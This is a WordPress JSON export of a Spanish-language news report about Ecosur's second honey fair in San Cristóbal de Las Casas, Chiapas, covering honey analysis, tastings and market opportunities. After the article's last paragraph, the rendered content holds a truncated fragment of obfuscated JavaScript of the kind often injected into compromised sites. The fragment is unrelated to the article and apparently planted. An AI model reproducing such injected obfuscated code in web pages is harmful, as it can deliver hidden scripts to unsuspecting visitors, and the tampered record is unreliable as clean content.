{"id":20520,"date":"2025-02-22T03:57:02","date_gmt":"2025-02-22T03:57:02","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=20520"},"modified":"2025-02-22T03:57:03","modified_gmt":"2025-02-22T03:57:03","slug":"ecosur-celebra-la-segunda-feria-de-mieles-en-chiapas","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=20520","title":{"rendered":"Ecosur celebra la Segunda Feria de Mieles en Chiapas"},"content":{"rendered":"\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"683\" src=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2025\/02\/51fb6075-2eee-4b17-994d-a8468ea1c763-1024x683.jpeg\" alt=\"\" class=\"wp-image-20521\" srcset=\"https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2025\/02\/51fb6075-2eee-4b17-994d-a8468ea1c763-1024x683.jpeg 1024w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2025\/02\/51fb6075-2eee-4b17-994d-a8468ea1c763-300x200.jpeg 300w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2025\/02\/51fb6075-2eee-4b17-994d-a8468ea1c763-768x512.jpeg 768w, https:\/\/reporteciudadanochiapas.com\/wp-content\/uploads\/2025\/02\/51fb6075-2eee-4b17-994d-a8468ea1c763.jpeg 1080w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Yolanda Rodr\u00edguez\/ corresponsal<\/p>\n\n\n\n<p>21 de febrero del 2025. San Crist\u00f3bal de Las Casas.- El Equipo Abejas del Colegio de la Frontera Sur (Ecosur) organiz\u00f3 la Segunda Feria de Mieles, un evento que reuni\u00f3 a diversas organizaciones y grupos ap\u00edcolas del estado con el prop\u00f3sito de fortalecer sus conocimientos y compartir experiencias sobre la producci\u00f3n de miel.<\/p>\n\n\n\n<p>La feria, realizada en el jard\u00edn central de Ecosur San Crist\u00f3bal se enmarc\u00f3 dentro del taller de mieles, donde los asistentes conocieron las historias detr\u00e1s de la producci\u00f3n de este producto en diferentes regiones de Chiapas.<\/p>\n\n\n\n<p>Entre los temas abordados estuvieron el an\u00e1lisis pol\u00ednico y fisicoqu\u00edmico de la miel, la interpretaci\u00f3n de estos estudios y las oportunidades en los mercados locales, nacionales e internacionales. Uno de los momentos m\u00e1s destacados del evento fue la degustaci\u00f3n de mieles provenientes de distintas zonas del estado, permitiendo a los asistentes identificar las particularidades de cada una y comprender la relaci\u00f3n entre la identidad del producto, la diversidad del territorio y la cultura ap\u00edcola de la regi\u00f3n.<\/p>\n\n\n\n<p>Asimismo, se comparti\u00f3 informaci\u00f3n sobre el proceso de producci\u00f3n de la miel, sus beneficios y las diferencias con otros tipos de mieles. Como parte del evento, se esperaba la presencia de algunos diputados, a quienes los apicultores pretend\u00edan exponer las problem\u00e1ticas que enfrenta el sector.<\/p>\n\n\n\n<p>El Equipo Abejas de Ecosur, organizador del evento, se dedica a la educaci\u00f3n en comunidades campesinas y la investigaci\u00f3n cient\u00edfica sobre las abejas y su impacto en la sociedad, contribuyendo as\u00ed al desarrollo y fortalecimiento del sector ap\u00edcola en Chiapas.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"<p>Yolanda Rodr\u00edguez\/ corresponsal 21 de febrero del 2025. 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